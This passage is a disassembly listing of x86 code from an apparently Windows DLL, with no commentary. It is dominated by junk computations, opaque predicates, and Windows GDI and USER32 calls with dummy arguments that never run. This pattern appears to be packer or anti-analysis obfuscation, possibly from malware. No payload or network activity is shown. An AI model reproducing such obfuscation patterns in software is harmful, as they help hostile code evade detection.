mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1003a4e0
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x584]
call fcn.10018515
mov dword [eax], 0xa81d5f49
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1003a4c2
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1003a5e1
push 3
pop esi
push esi
lea ecx, [ebp - 0x3e0]
call fcn.10018515
cmp dword [eax], 0
jne 0x1003a5a3
xor eax, eax
lea ecx, [ebp - 0x924]
push eax
call fcn.10018515
push esi
lea ecx, [ebp - 0x3e0]
mov dword [eax], 5
call fcn.10018515
push esi
lea ecx, [ebp - 0x3e0]
mov eax, dword [eax]
neg eax
mov dword [ebp - 0x2a0], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x44], eax
call fcn.10018515
mov ecx, dword [ebp - 0x44]
xor edx, edx
cmp ecx, 0xd8d92426
lea ecx, [ebp - 0x3e0]
push esi
setne dl
xor ebx, ebx
cmp edx, dword [eax]
setl bl
call fcn.10018515
mov eax, dword [eax]
add eax, ebx
je 0x1003a57e
xor eax, eax
lea ecx, [ebp - 0x924]
push eax
call fcn.10018515
cmp dword [eax], 0
je 0x1003a57e
xor ebx, ebx
inc ebx
mov edx, ebx
jmp 0x1003a585
xor eax, eax
xor ebx, ebx
mov edx, eax
inc ebx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], eax
jne 0x1003a5a3
mov esi, eax
cmp dword [ebp - 0x2a0], eax
je 0x1003a5a5
mov esi, ebx
push 3
lea ecx, [ebp - 0x3e0]
call fcn.10018515
mov ecx, dword [ebp - 0x38]
xor edx, edx
imul ecx, esi
push 0xfffffffffffffff9
cmp ecx, dword [eax]
lea ecx, [ebp - 0x3e0]
pop eax
setg dl
cmp eax, edx
push 2
sbb eax, eax
neg eax
imul esi, eax, 0x25fa
call fcn.10018515
sub esi, dword [eax]
je 0x1003a5ea
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1003a5ec
mov esi, ebx
jmp 0x1003a5ee
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x584]
call fcn.10018515
mov dword [eax], esi
cmp esi, 0x74fd
jl 0x1003a705
or eax, 0xffffffff
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x4c], 0x4cb070fc
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x38], eax
jmp 0x1003a68b
mov dword [ebp - 0x44], 4
cmp dword [ebp - 0x44], ebx
jl 0x1003a65e
push 0xfffffffffffffff8
pop esi
mov dword [ebp - 0x2a0], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], eax
jmp 0x1003a651
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1003a64e
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
xor eax, eax
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jg 0x1003a63c
dec dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jge 0x1003a62e
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1003a688
push eax
push 0x1af8
push 0x529
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
xor eax, eax
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xffffffef
jge 0x1003a61f
push 3
lea ecx, [ebp - 0x3e0]
call fcn.10018515
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1003a6ab
mov eax, dword [ebp - 0x28]
push ebx
lea ecx, [ebp - 0x924]
call fcn.10018515
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2a0]
dec eax
cmp eax, 0x2b42
setge cl
xor eax, eax
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], eax
jne 0x1003a6e2
mov esi, eax
cmp dword [ebp - 0x28], eax
je 0x1003a6e4
mov esi, ebx
push eax
lea ecx, [ebp - 0x584]
call fcn.10018515
mov ecx, 0xbbfe
sub ecx, esi
dec ecx
neg ecx
sbb ecx, ecx
neg ecx
mov dword [eax], ecx
jmp 0x1003a7ce
mov dword [ebp - 0x10], ebx
xor eax, eax
mov dword [ebp - 0x24], 0x1aff6713
mov dword [ebp - 0x2c], eax
jmp 0x1003a76f
mov eax, dword [ebp - 0x2c]
sub eax, 0x9428
neg eax
sbb eax, eax
inc eax
cmp eax, 0xbafc
jl 0x1003a733
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x18], eax
je 0x1003a735
mov esi, ebx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x584]
call fcn.10018515
mov ecx, dword [ebp - 0x2a0]
xor edx, edx
push dword [ebp - 0x2c]
cmp esi, ecx
lea ecx, [ebp - 0x584]
setg dl
xor ebx, ebx
cmp dword [eax], edx
setl bl
call fcn.10018515
push 1
mov dword [eax], ebx
inc dword [ebp - 0x2c]
xor eax, eax
pop ebx
cmp dword [ebp - 0x2c], eax
jle 0x1003a716
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x2a0]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x4c]
sub ecx, eax
mov eax, dword [ebp - 0x10]
dec eax
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setle dl
xor ebx, ebx
add edx, 0x6d1266b8
cmp edx, eax
mov eax, dword [ebp - 0x44]
setle bl
xor ecx, ecx
sub ebx, 4
cmp ebx, eax
mov eax, dword [ebp - 0x10]
setne cl
xor edx, edx
cmp ecx, 0x1dee1550
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
xor ebx, ebx
mov dword [ebp - 0x18], ecx
inc ebx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x584]
call fcn.100184f9
lea ecx, [ebp - 0x924]
call fcn.100184f9
or esi, 0xffffffff
lea ecx, [ebp - 0x3e0]
mov dword [ebp - 4], esi
call fcn.100184f9
push ebx
lea ecx, [ebp - 0x420]
call fcn.10018477
mov dword [ebp - 4], 0x37
xor eax, eax
mov dword [ebp - 0x40], 0xfffffffd
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1003a83a
push dword [ebp - 0x10]
lea ecx, [ebp - 0x420]
call fcn.10018515
mov dword [eax], 0x8b72fd49
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1003a81c
xor eax, eax
push eax
lea ecx, [ebp - 0x420]
call fcn.10018515
mov eax, dword [eax]
neg eax
je 0x1003a871
xor eax, eax
lea ecx, [ebp - 0x420]
push eax
call fcn.10018515
xor eax, eax
lea ecx, [ebp - 0x420]
push eax
call fcn.10018515
cmp dword [eax], 0
je 0x1003a871
mov edx, ebx
jmp 0x1003a875
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp edx, eax
setg cl
inc ecx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x420]
push eax
call fcn.10018515
mov ecx, dword [ebp - 0x40]
xor ebx, ebx
cmp dword [eax], ecx
lea ecx, [ebp - 0x420]
setg bl
xor eax, eax
push eax
call fcn.10018515
xor ecx, ecx
cmp ebx, dword [eax]
setl cl
xor eax, eax
cmp ecx, dword [ebp - 0x40]
jl 0x1003a8ef
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1003a8cd
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
xor ebx, ebx
inc ebx
lea ecx, [ebp - 0x420]
mov dword [ebp - 4], esi
call fcn.100184f9
xor eax, eax
mov dword [ebp - 0x18], 0x824a8c6a
mov dword [ebp - 0x18], eax
jmp 0x1003a9a4
xor ebx, ebx
mov dword [ebp - 0x24], 0x83bc1b0f
mov dword [ebp - 0x18], eax
inc ebx
jmp 0x1003a912
push dword [ebp - 0x18]
lea ecx, [ebp - 0x420]
call fcn.10018515
and dword [eax], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003a8fe
inc dword [ebp - 0x24]
jmp 0x1003a8d0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1003a93e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1380], 0xfffffffd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1003a925
xor eax, eax
cmp dword [ebp - 0x137c], eax
je 0x1003a959
cmp dword [ebp - 0x18], eax
je 0x1003a959
mov dword [ebp - 0x4c], 0x810d21df
cmp dword [ebp - 0x4c], eax
jne 0x1003a9ae
jmp 0x1003a9a1
mov dword [ebp - 0x10], 0x3066c93e
mov dword [ebp - 0x10], eax
jmp 0x1003a99b
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1003a998
push 0x201d
push 0xa29
push 0x10f9
push 0x116b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_IntersectClipRect]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xd
jl 0x1003a965
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xd
jne 0x1003a91c
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1003a9be
push eax
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
push 2
lea ecx, [ebp - 0x44c]
call fcn.10018477
mov dword [ebp - 4], 0x38
lea ecx, [ebp - 0xfac]
mov dword [ebp - 0x30], 0xa75c
xor eax, eax
mov dword [ebp - 0x30], 0xe87df2f4
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0xf72d4ea6
push 4
call fcn.10018477
xor eax, eax
mov byte [ebp - 4], 0x39
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], eax
jmp 0x1003aa15
push dword [ebp - 0x10]
call fcn.10018515
and dword [eax], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
lea ecx, [ebp - 0xfac]
jl 0x1003aa07
dec dword [ebp - 0x24]
mov byte [ebp - 4], 0x38
call fcn.100184f9
push 0xfffffffffffffff8
mov dword [ebp - 0x2c], edi
lea ecx, [ebp - 0x10c4]
pop eax
mov dword [ebp - 0x30], 0xae9714a0
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], eax
push 2
call fcn.10018477
mov byte [ebp - 4], 0x3a
xor eax, eax
mov dword [ebp - 0x30], 0x6694
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x24], 0x79a7
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003aa8c
push dword [ebp - 0x10]
lea ecx, [ebp - 0x10c4]
call fcn.10018515
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003aa6d
xor eax, eax
mov edi, dword [sym.imp.USER32.dll_SendDlgItemMessageA]
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1003aab0
push eax
push eax
push 0x2bd
push 0x18b8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
inc dword [ebp - 0x24]
lea ecx, [ebp - 0x10c4]
mov byte [ebp - 4], 0x38
call fcn.100184f9
movdqa xmm0, xmmword [0x10007dc0]
lea eax, [ebp - 0x1250]
push eax
lea eax, [ebp - 0x1260]
mov dword [ebp - 0x38], 0x2c7c
push eax
lea ecx, [ebp - 0x141c]
movdqu xmmword [ebp - 0x1260], xmm0
call fcn.10018524
lea ecx, [ebp - 0x15d]
mov esi, eax
call fcn.10008e83
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x3f4]
push dword [esi]
call fcn.100184d3
push 2
lea ecx, [ebp - 0x71c]
mov byte [ebp - 4], 0x3b
call fcn.10018477
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x5fc]
mov dword [ebp - 0x44], ebx
or esi, 0xffffffff
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x2c], 0x6896e60b
push ebx
call fcn.10018477
mov byte [ebp - 4], 0x3d
mov eax, 0xffff
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1003ab77
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x71c]
call fcn.10018515
mov dword [eax], 0x81f3403c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003ab58
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1003ab95
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x284], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003ab80
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1003abbb
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x5fc]
call fcn.10018515
mov dword [eax], 0xa81d5f49
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1003ab9d
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x1003acbc
push 3
pop esi
push esi
lea ecx, [ebp - 0x3f4]
call fcn.10018515
cmp dword [eax], 0
jne 0x1003ac7e
cmp dword [ebp - 0x2c], eax
je 0x1003acc7